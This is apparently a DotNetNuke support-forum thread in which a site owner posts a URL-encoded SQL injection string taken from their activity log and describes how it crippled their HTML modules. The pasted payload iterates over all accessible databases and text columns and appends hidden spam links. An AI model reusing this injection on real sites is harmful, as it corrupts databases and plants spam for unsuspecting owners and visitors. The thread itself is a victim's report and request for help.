By the way, looking at the Activity Log on DNN I see the guys are trying to do this:

No use blocking IPs.  They are probably using TOR or some other software to mask their IP because their attacks seem to be coming from Brasil, Ukraine, China, Canada and all kinds of places while they're probably coming from next door... :/

 /Default.aspx?tabid=649;declare%20@b%20cursor;declare%20@s%20varchar(8000);declare%20@w%20varchar(99);set%20@b=cursor%20for%20select%20DB_NAME(

)%20union%20select%20name%20from%20sys.databases%20where%20(has_dbaccess(name)!=0)%20and%20name%20not%20in%20('master','tempdb','model','msdb',DB_NAME())

;open%20@b;fetch%20next%20from%20@b%20into%20@w;while%20@@FETCH_STATUS=0%20begin%20set%20@s='begin%20try%20use%20'%2B@w%2B';declare%20@c%20cursor;

declare%20@d%20varchar(4000);set%20@c=cursor%20for%20select%20''update%20%5B''%2BTABLE_NAME%2B''%5D%20set%20%5B''%2BCOLUMN_NAME%2B''%5D=%5B''

%2BCOLUMN_NAME%2B''%5D%2Bcase%20ABS(CHECKSUM(NewId()))%2510%20when%200%20then%20''''''%2Bchar(60)%2B''div%20style=%22display:none%22''%2Bchar(62)%2B''

why%20wife%20cheat%20''%2Bchar(60)%2B''a%20href=%22http:''%2Bchar(47)%2Bchar(47)%2B''maryaltmansblog.com.nobullsoftware.com''%2Bchar(47)%2B''page''%2Bchar(47)%2B''

why-wifes-cheat.aspx%22''%2Bchar(62)%2B''''''%2Bcase%20ABS(CHECKSUM(NewId()))%253%20when%200%20then%20''''cheat%20women''''%20when%201%20then%20''''open''''%20else%20''''

married%20and%20want%20to%20cheat''''%20end%20%2B''''''%2Bchar(60)%2Bchar(47)%2B''a''%2Bchar(62)%2B''%20how%20to%20cheat%20on%20my%20husband''%2Bchar(60)%

2Bchar(47)%2B''div''%2Bchar(62)%2B''''''%20else%20''''''''%20end''%20FROM%20sysindexes%20AS%20i%20INNER%20JOIN%20sysobjects%20AS%20o%20ON%20i.id=o.id%20INNER%

20JOIN%20INFORMATION_SCHEMA.COLUMNS%20ON%20o.NAME=TABLE_NAME%20WHERE(indid%20in%20(0,1))%20and%20DATA_TYPE%20like%20''%25varchar''%

20and(CHARACTER_MAXIMUM_LENGTH%20in%20(2147483647,-1));open%20@c;fetch%20next%20from%20@c%20into%20@d;while%20@@FETCH_STATUS=0%20begin%

20exec%20(@d);fetch%20next%20from%20@c%20into%20@d;end;close%20@c%20end%20try%20begin%20catch%20end%20catch';exec%20(@s);fetch%20next%20from%

20@b%20into%20@w;end;close%20@b--

Leupold, I don't really know since my first concern was to have my webistes up and running as soon as possible.

Didn't really have time to look into the tables I simply restored my DB.

One thing I can say for sure is that the spam content did not really manage to show in my content because it got mixed up with the render code of the modules (mainly my HTML modules) ultimately crippling them and the various websites instead of showing up. In the errors thrown I could see part of the spam content mixing with my HTML module code. They certainly managed to get my webistes down and cripple modules preventing them from showing my content.

The spam content did appear in the page code. It did not properly appear in the modules as code but I'm not sure google crawlers would notice the difference.

The fact that puzzles me is that they seem to manage to alter the database directly from the URL query string but I can't understand where. It says  

/Default.aspx?tabid=649

Hi Sebastian,

before I can answer I should be able to find outwhat page corresponds to tabid=649

Is there a way to find out or is it simply a trial and error process?

I have a number of portals running on the same installation. I tried to paste "Default.aspx?tabid=649" in a couple of them but it simply redirected me to the website homepage. Should I copy paste Default.aspx?tabid=649 on each and every one of them or there is a quicker way to find out which portal has tabid=649 as a valid page?

Thanks